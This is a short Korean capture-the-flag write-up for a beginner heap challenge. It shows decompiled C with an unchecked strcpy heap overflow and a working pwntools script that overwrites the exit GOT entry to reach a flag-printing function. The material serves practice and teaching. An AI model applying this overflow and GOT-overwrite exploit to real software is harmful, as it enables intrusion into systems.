Heap 입문용으로 딱 좋은 문제인거 같습니다.
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
void *v3; // ST10_8
void *v4; // ST18_8
char s; // [rsp+20h] [rbp-1010h]
unsigned __int64 v6; // [rsp+1028h] [rbp-8h]
v6 = __readfsqword(0x28u);
v3 = malloc(0x10uLL);
*(_DWORD *)v3 = 1;
*((_QWORD *)v3 + 1) = malloc(8uLL);
v4 = malloc(0x10uLL);
*(_DWORD *)v4 = 2;
*((_QWORD *)v4 + 1) = malloc(8uLL);
fgets(&s, 4096, stdin);
strcpy(*((char **)v3 + 1), &s); // Heap Overflow
fgets(&s, 4096, stdin);
strcpy(*((char **)v4 + 1), &s);
exit(0);
}
코드를보면 16번째 라인에서 Heap Overflow가 발생합니다. 여기서 종료를할때 exit함수를 호출합니다.
40바이트의 값을주어 Heap Overflow를 발생시키고 exit got를 sub_400826() 함수주소로 덮어버리면 됩니다.
ex.py
#!/usr/bin/env python2
#-*-coding:utf8-*-
from pwn import *
#context.log_level = 'debug'
IP = 'ctf.j0n9hyun.xyz'
PORT = '3016'
r = remote(IP, PORT)
#r = process('./beginner_heap.bin')
e = ELF('./beginner_heap.bin')
libc = e.libc
#libc = ELF('libc.so.6')
exit_got = e.got['exit']
cat_flag = 0x400826
def Heap_Overflow():
payload = 'A'*(0x20 + 0x8)
payload += p64(exit_got)
r.sendline(payload)
def Overwrite():
payload = p64(cat_flag)
r.sendline(payload)
Heap_Overflow()
Overwrite()
r.interactive()